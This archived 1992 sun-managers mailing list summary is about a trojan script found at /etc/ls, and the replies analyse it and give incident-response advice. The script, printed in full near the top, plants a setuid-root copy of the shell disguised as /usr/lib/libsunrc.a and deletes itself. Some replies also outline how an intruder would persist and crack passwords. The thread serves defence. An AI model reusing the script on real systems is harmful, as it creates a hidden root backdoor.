This list is great. Thanks for all the help.
========== Original query ==========
Are there any security related mail aliases for sunmanagers?
I found the following in /etc/ls. I haven't figured out
what it's trying to do yet, but I don't like it already.
#!/bin/sh
(/bin/cp /bin/sh /usr/lib/libsunrc.a
/etc/chown root /usr/lib/libsunrc.a
/bin/chmod 4755 /usr/lib/libsunrc.a
/bin/rm -f $0
exec /bin/ls "$@"
-------------------------------------------------------------------
I don't know how much of the solution I should reveal here, but I am
assuming that the knowledge gained will be of greater benefit than any
harm any unethical person might do. And judging from the responses I
get from this list we have no unethical sunmanagers, and if we did,
they could figure this out by themself anyway :-). The solutions
below should guard against the problem without knowing absolutely how
it was done. It involves /etc being owned by bin and some
"unnecessary" software having setuid permissions and bin ownership.
The script was designed to create a setuid copy of sh. Fortunately
there is a syntax error and we don't have . in root's path. Needless
to say, the summary provided a few weeks ago about changing /etc's
ownership to root bears (sp?) merit (I didn't save it). If you
follow the suggestions provided below you should have no problem.
Also, some of these replies provide information on security mail lists
and programs. Thanks again. A few people even took the time to call.
=========================== the wonderful replies ==========================
*************************************************************************
From: Jeff Nieusma <nieusma@refuge.Colorado.EDU>
this is a poor attempt at a trojan horse break in. The shell script
attempts to make a root shell and then delete itself. If a normal
user runs the script it will not work... If root runs the script, (if
/etc is before /bin in root's path) then it will succeed in creating a
world executable root shell which will allow anyone with an account on
the machine to gain root access.
If the permissions on /etc are 755 (like they should be) someone would
have had to be root to make this trojan horse. If the permissions are
not 755, change them right away and look through your filesystem for
setuid executables:
shutdown to single user mode. (to prevent your "intruder" from "helping")
mount -at 4.2
find / -type f -perm -04000 -ls
Inspect the list you get for anything out of the ordinary. Archive
libraries (lib*.a) don't need to have the x bit turned on, but shared
object libraries (lib*.so.*) do.
Let me know if you need any more help.
- Jeff Nieusma, Consultant
*************************************************************************
From: "Manavendra K. Thakur" <thakur@zerkalo.harvard.edu>
The shell script you showed is a trojan horse designed to create a
setuid shell.
The script masquerades as the ls command; when run by a user with root
privileges, the script creates a setuid shell, deletes itself, and
then runs the normal ls command.
Presumably at some later time, the cracker will log into your system
and look for a file called /usr/lib/libsunrc.a. If it exists, the
cracker can simply run program and get a root shell - i.e. get full
root privileges on your machine.
The trojan horse script will be effective only if the root account has
/etc in its path before /bin and /usr/bin.
Your system obviously has been cracked by someone with the intention
of gaining root privileges. I suggest you do the following:
0) DON'T PANIC. And don't overreact! If you do, you risk doing more
damage yourself than the cracker did.
1) Force all your users to change their passwords immediately. You
can do this in a convenient way by aging the passwds. This way, your
users will be prompted to change their passwds when they log in.
2) Sweep your / and /usr filesystems for all setuid programs. (Running
"find / /usr -xdev \( -perm -4000 -o -perm -2000 \) -print -exec sum
{} \;" will do the trick.) Compare the output on your suspected
system with the output of the same command on a known clean system.
Investigate any anomalies or differences.
3) Look at the creation time of the /etc/ls command. (Type: "ls -lc
/etc/ls"). Then use the last command to see who was logged in on your
system at that time. This is not foolproof, since it is possible to
run commands by rsh'ing in, and the last command will not detect
those. But checking the last output may give you clues as to which
user account is being used to do these tricks.
4) If you really feel insecure, rebuild your operating system from the
SunOS distribution tapes. If you have disk partitions with home
directories or other non-OS files on them, you will have to carefully
examine these files to ensure that no trojan horses or setuid files
live in these partitions. You may have to throw away the current
information on these partitions and restore them instead from a backup
tape known to be clean. How do you know that the backup is clean?
You don't; you should choose a backup tape that predates all known
suspicious activity, and you will also have to make a judgement call
on how many day's or week's worth of work your users can afford to
lose.
5) For added security, you may wish to mount non-OS filesystems with
the nosuid option. See the mount(8) or fstab(5) man pages for more
information.
6) Finally, here is some political advice: as much as possible, keep
the issue within the command of those who are technically saavy. If a
clueless non-technical managers get wind of this, they tend to
overreact quite easily and make ridiculously unreasonable demands.
The rule of thumb is this: The work you do to clean up your system has
to provide a benefit greater than its cost. If you take your system
offline or off the air, this will prevent users from getting work
done. This comes at a cost -- a measurable cost. The benefit of your
work to secure your system has to provide a benefit that is greater
than that cost.
Final comments:
A 100% secure system is never going to be possible. If your
higher-ups demand that you examine every single file and make the
system totally secure, tell them that they don't know what they're
talking about, and you should also point out the cost-benefit argument
above. Otherwise, you could end up jumping through hoops for no good
reason, and your users will get irate as the delays mount and work
doesn't get done.
Don't let the cracker psych you out! The technical side of the battle
isn't anywhere near as difficult as the political side. Stay calm,
act rationally, and keep your wits about you.
Best of luck in tracking this down.
Manavendra K. Thakur Internet: thakur@zerkalo.harvard.edu
Systems Programmer, High Energy Division BITNET: thakur@cfa.BITNET
Harvard-Smithsonian Center for DECNET: CFA::thakur
Astrophysics UUCP: ...!uunet!mit-eddie!thakur
*************************************************************************
From: Jim Roche <roche@cs.rochester.edu>
This could be a serious security hole if your root login has
"." on its search path. If root cd's into the /etc directory and
runs ls, this shell script will create a suid copy of the shell
called /usr/lib/libsunrc.a. Anyone who then executes /usr/lib/libsunrc.a
will be root on your machine.
Jim Roche
roche@cs.rochester.edu
*************************************************************************
>From stehman@cs.clemson.edu Tue Mar 17 12:30:41 1992
Someone is hoping you have . first in root's path. When run, it will create
a root-owned sh with the suid bit on. It will then erase the above script
to cover tracks. Clever name -- I wouldn't think twice about seeing a
libsunrc.a file in /usr/lib.
-- Jeff Stehman Systems Staff, G-18A Jordan stehman@cs.clemson.edu Dept. of Computer Science (803)656-2639 Clemson University*************************************************************************
From: yih@atom.cs.utah.edu (Benny Yih)
Try cert-tools-request@cert.sei.cmu.edu add/drop/change cert-tools@cert.sei.cmu.edu submissions
luck, benny
*************************************************************************
From: syd@dsinc.dsi.com (Syd Weinstein)
Root usually has /etc before /bin....
This traps a call to the command ls and makes a suid shell on the file named /usr/lib/sunrc.a (a non-existant lib, but a name that looks harmless)
once root types ls, it removes /etc/ls and leaves a suid shell sitting in /usr/lib/libsunrc.a, a name he hopes you won't notice.
If this is there, consider your system cracked..... Start looking for who did it.... (and make /etc owned by root so this cannot happen again so easily)
If it came from outside your system, contact CERT.
-- ======================================================================== Sydney S. Weinstein, CDP, CCP Elm Coordinator - Current 2.3PL11 Datacomp Systems, Inc. Projected 2.4 Release: Mid?? 1992 syd@DSI.COM or dsinc!syd Voice: (215) 947-9900, FAX: (215) 938-0235
*************************************************************************
>From tim@ben.dciem.dnd.ca Tue Mar 17 13:08:30 1992
If you really have that file in /etc/ls, You have one potentially nasty person on your system! You should remove that file NOW!!!!!! What that program will do is make a set-uid (owned by root) copy of /bin/sh in "/usr/lib/libsunrc.a". With this program, ANYBODY can become root simply by executing the "/usr/lib..." copy of the shell. After removing "/etc/ls", ensure that "/etc" is owned by root and is mode rwxr-xr-x. Some people have been reporting that some systems come with "/etc" writable by EVERYBODY (probably this is how the "/etc/ls" got there in the first place. The person who put that file there is just waiting for some root-type person who happens to have "/etc" before "/bin" in their search path to do an "ls".
Perhaps you should put your own script in "/usr/lib/libsunrc.a" which sends you mail about who is running the script and then exec's a normal shell.
Tim Pointing, DCIEM tim@ben.dciem.dnd.ca
P.S. As for security mailing-lists, There is always "security@cpd.com", the Unix security mailing list. According to the header on the mail from this list...
The unix security mailing list is by invitation only and often contains sensitive material which IS NOT INTENDED FOR PUBLIC DISSEMINATION. PLEASE DO NOT PUT ANY SECURITY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
Send mail to "security-request@uninet.cpd.com", asking how to be added to the list (they will probably just try to make sure that you are a responsible person at Cypress rather than just a summer-hiree.)
*************************************************************************
From: Tasuki Hirata <sukes@eng.umd.edu>
>Subject: security > >I found the following in /etc/ls. I haven't figured out >what it's trying to do yet, but I don't like it already.
Delete it and /usr/lib/libsunrc.a IMMEDIATELY. Some bozo found a clever way to write to /etc and put a trojan horse in for root.
If root has /etc before /bin in it's path. it will execute /etc/ls. The program makes a setuid root copy of /bin/sh as /usr/lib/libsunrc.a.
Execute /usr/lib/libsunrc.a and voila you're root.
PS. The bozo also forgot to redirecting the output from cp, chown, chown, and rm to /dev/null...
| Tasuki Hirata | "Hell, if you understand everything I say, | | sukes@eng.umd.edu | you'd be me." -- Miles Davis (ca. 1967) | | uunet!eng.umd.edu!sukes | ** Place Disclaimer Here ** |
*************************************************************************
From: nulspace@cs.UMD.EDU (Michael Chang)
Take that mother out of there! What it's doing is making a setuid to root copy of sh, cleverly disguised as "/usr/lib/libsunrc.a". Anyone who runs it will then have a root shell. The '/bin/rm -f $0' erases the original script (in this case, /etc/ls) while 'exec /bin/ls "$@"' executes an ls so it looks like the ls executes as planned. It nails you if root has /etc in front of /bin (or /usr/bin) in it's path.
I'm not real sure as to the proper steps for such a security violation, but this is definitely evidence that someone is trying to break into the machine.
mike
[and to think he plays tennis well too - mdl]
*************************************************************************
From: Richard Elling <Richard.Elling@eng.auburn.edu>
You've found a bonafide cracker attack. Rule #1, be very, very carefull about what root`s path is. At worst it should *only* be: /usr/bin /usr/ucb /usr/etc In particular, make sure the /.profile DOES NOT contain a blank entry. It should look like: PATH=/usr/bin:/usr/ucb:/usr/etc
Rule #2, make sure the bin user doesn't own anything. find / -xdev -user bin -exec chown root {} \; find /usr -xdev -user bin -exec chown root {} \;
Rule #3, be very careful about /etc/hosts.equiv and /.rhosts
Obviously, this is just a start. Be sure and read the system security manual. You might also want to check out COPS (ftp from cert.sei.cmu.edu) and/or ASET from Sun. These will help you find common security problems and generate reports. -- richard
[what about "I don't wanna catch anyone NOT drinking?]
*************************************************************************
From: macphed@dvinci.usask.ca (Ian MacPhedran) Status: RO
Matt; >Are there any security related mail aliases for sunmanagers? You might want to check out CERT - send mail to cert-advisory-request@cert.sei.cmu.edu to get added to the mailing list. ---------------------Quote from one of the advisories--------------------- If you believe that your system has been compromised, contact CERT/CC or your representative in FIRST (Forum of Incident Response and Security Teams).
Internet E-mail: cert@cert.sei.cmu.edu Telephone: 412-268-7090 (24-hour hotline) CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours.
Computer Emergency Response Team/Coordination Center (CERT/CC) Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890
Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous ftp from cert.sei.cmu.edu (192.88.209.5). -------------------------------------------------------------------------
Sun also has a security mailing list - security-alert@sun.com - here is part of a readme list for it: ------------------------------------------------------------------------- Please use the security-alert@sun.com alias for posting bugs, either hardware or software, that are related to system security. Contact your local Sun Answer Center for reporting problems that are not security related. Breakdown of who to call when: 1. Your local answer center for questions or to report problems in Sun hardware or Sun software in general. Or use the sunbugs@sun.com alias. 2. security-features@sun - security product info, etc. you can email to this alias to ask security questions or to get on the mailing list. 3. security-alert@sun - to report security holes (see Customer Warning System announcement for further details.) If electronic mail is not available or desired due to a security breech, phone (415) 688-9081 to get a pre-recorded message and answering service. ------------------------------------------------------------------------- However, this is for security problems relating to the system software, not Trojan horses like this.
>I haven't figured out what it's trying to do yet The intent is to create a suid-root shell, and then clean up after itself, to try to leave no tracks. You should get COPS or similar software to check to see what suid programs are on your system. You might want to go through the anonymous ftp server on cert.sei.cmu.edu to see what is there.
Ian. ---------------------------------------------------------------------------- Ian MacPhedran, Engineering Computer Centre, University of Saskatchewan. 2B13 Engineering Building, U. of S. Campus, Saskatoon, Sask., CANADA S7N 0W0 macphed@dvinci.USask.CA macphedran@sask.USask.CA
*************************************************************************
From: button@alc.com
This is a classic "Trojan Horse". What it does is this:
When you as "root" go into /etc and do an "ls", this script gets executed. What you as the root user see on only the output of /bin/ls. It takes a little longer to see, but that is only what you are expecting to see.
In the meantime the script has copied the bourne shell to /usr/lib and given it a nodescript name of libsunrc.a, which wouldn't alert you if you happened across it in poking around the system. By chowning it to root, chmoding it to 4755, a setuid to root bourne shell has been created that ANYONE can execute. This means that your resident cracker OUT THERE can invoke this to get a root shell and do anything he/she wants! Not my idea of a secure environment... :-(
The line
/bin/rm -f $0
removes the script /etc/ls so that you don't find it.
This works if you have the current directory in your PATH environment variable BEFORE /bin. A lot of people do this. They want an executable in their current directory executed before another executable with the same name from another directory. If you have "." in the beginning of your PATH definition you are asking for trouble.
I suggest you look for /usr/lib/libsunrc.a and see if it is there and when it was created. Also do a
ps -wwaux | grep libsunrc
periodically to see if anyone (and WHO) is running it.
Another thing you must, must, must do is to do a find for all of the setuid root executables on your system. If I was a bad guy and I had gotten this setuid shell created, I would invoke it and create at least a dozen MORE setuid shells like elsewhere so that I could continue to have root access in case the systems administrator found /usr/lib/libsunrc.a and removed it.
This was either created by one of your users, or worse, you may be dealing with a cracker from outside your user community. If you have dial-up lines, you may have someone who has cracked one of the user passwords. Once the cracker has logged in, all they have to do is to download the password file. Once it is on their local system they can run a password cracking program against it. Unless you have special password restrictions in your local system, any good password cracking program will find at least 30% of the passwords in a typical password file. Now you've got REAL problems. This slime-bag now has 30% (minimum) of your users' passwords and could be logging in as just anyone. Even if you do find a user who is executing /usr/lib/libsunrc.a, it might not be him but the cracker who is dialed in!
We had this problem at the last company I worked for.
The security was beefed up by putting a special password program on the dial-up lines. Everyone who wanted to be able to dial-in had to have a separate password for the dial-in process. The password also had the following restrictions:
It must be at least 8 characters long (The password checker only looked at the first 8 characters as well)
Within those first 8 characters there must be at least 1 upper case character 1 lower case character 1 numeric character 1 special character
Thus a suitable password might be:
2ForTea!
I like to substitute * and 0 (numeric zero) for o (lower case "o"). Another suitable password would be
S0nsp0t!
Have fun! (ohhh I have)
Best wishes,
Russ Button button@alc.com
*************************************************************************
From: casper@fwi.uva.nl (Casper H.S. Dik)
This script creates a set-uid root copy of the Bourne shell called /usr/lib/libsunrc.a.
The hacker probably made use of the fact that /etc is owned by bin. He was apparently able to become bin.
Check /etc/hosts.equiv (has it a +) or is /etc exported by NFS?
Time to sanitize your system.
Casper
*************************************************************************
>From feigin@iis.ethz.ch Tue Mar 17 14:29:42 1992
Matt:
This is VERY dangerous. What this does, if run as root, is create a suid version of /bin/sh as /usr/lib/libsunrc.a, then remove itself (i.e. this script used to make the copy) and then exec's /bin/ls on the given argument.
ANYBODY ON YOUR SYSTEM CAN NOW BECOME ROOT BY INVOKING /usr/lib/libsunrc.a
But its even worse. If this is on a fileserver which exports /usr, then ANYONE ON ANY CLIENT can also become root by invoking /usr/lib/libsunrc.a.
You should immediately chmod 755 /usr/lib/libsunrc.a to make it 'harmless', and then use something like lsof or ofiles to see who tries to invoke it (it wont help you much if someone is trying to invoke it on a client, though)
Or, alternatively, you can remove it. You should probably also check around for any other suspicious files that have the suid bit on, and are owned by root.
If you have internet access, you can get lsof from any of the following places:
Host burgundy.nectar.cs.cmu.edu
Location: /readmes/readmes.untared/at/ac/wu-wien/nestroy/pub/src/SysUtil DIRECTORY drwxr-xr-x 512 Feb 16 23:16 lsof
Host gatekeeper.dec.com
Location: /comp.sources.unix/volume25 FILE -r--r--r-- 101833 Dec 2 21:37 lsof
------------------------------------------------------------------------------ Internet: feigin@iis.ethz.ch Adam W. Feigin UUCP:{backbones}!iis!feigin Network Systems Manager Mail: Integrated Systems Laboratory Institute for Integrated Systems ETH-Zentrum Swiss Federal Institute of Technology CH-8092 Zurich Zurich, Switzerland Switzerland Phone: +41 1 256 50 53 "He who knows others is wise. He who knows himself is enlightened"
*************************************************************************
>From clyde@sirius.cc.utexas.edu Tue Mar 17 14:29:46 1992
This is called a "Trojan Horse" program. Check the protections of the /etc directory - it should be owned by root and be mode 0755. If this little goodie was run by the super-user, then there would something like this left:
-r-s--x--x 1 root XXXXXXX /usr/lib/libsunrc.a Clyde Hoover |"Do you believe in God?" (Shouter-To-Dead-Parrots) | -Hobbes UNIX Sys Admin Tiger Team |"Well *somebody's* out to get me!" Computation Center, UT Austin | -Calvin clyde@emx.utexas.edu |
*************************************************************************
From: pete@cs.UMD.EDU (Pete Cottrell)
What /etc/ls is supposed to do is to create a setuid root shell named /usr/lib/libsunrc.a, remove /etc/ls, and then run the regular /bin/ls so that the person running /bin/ls wouldn't notice that anything extra had been done. Presumably later, the person that put /etc/ls in place would execute /usr/lib/libsunrc.a and have root privileges. Probably one of two things have happened - either someone with root privileges left a root shell lying around and someone internal to your site sat down and created /etc/ls, or you have been broken into externally. If the latter, you can probably count on them coming in again and trying to execute /usr/lib/libsunrc.a. You should ftp to cert.sei.cmu.edu and get their security check list and use it to tighten things on your machine. You might also consider calling them at 412-268-7090. I would also try looking at log files to see if you can identify the times things happened, and from where they occurred. You might also consider running 'crack' on your machine to see if there are any open accounts that might let people in (I would assume that whoever put /etc/ls into place also got a copy of your password file and is running crack themselves).
*************************************************************************
>From kfp@sibyl.saic.com Tue Mar 17 15:06:31 1992
Matt,
This is pretty obviously a trojan horse intended to install an suid-root version of the shell if/when executed (inadvertantly) by root.
While not itself a complete step to unrestricted root access, it can be used to create one. As is, the suid-root libsunrc.a version of sh could already do most root things.
Find out 1) how someone was able to create this in /etc if they didn't already have root access, and 2) who did it -- castrate them
[burnin's too good for 'em, hangin's too good for 'em, I'll have 'em drawn and quarted and buried alive! - mdl]
Good luck! +Keith
-- O Keith F. Pilotti --O | Science Applications International Corporation (619)552-3900 (Voice) | | 10240 Sorrento Valley Rd, San Diego, CA 92121 (619)552-3157 (FAX) | | | | Pilotti@Sibyl.SAIC.COM SAIT Center for Mobile Computing Technology | O----------------------------------------------------------------------------O
*************************************************************************
thanks to all those whose replies I have yet to receive
This archive was generated by hypermail 2.1.2 : Fri Sep 28 2001 - 23:06:38 CDT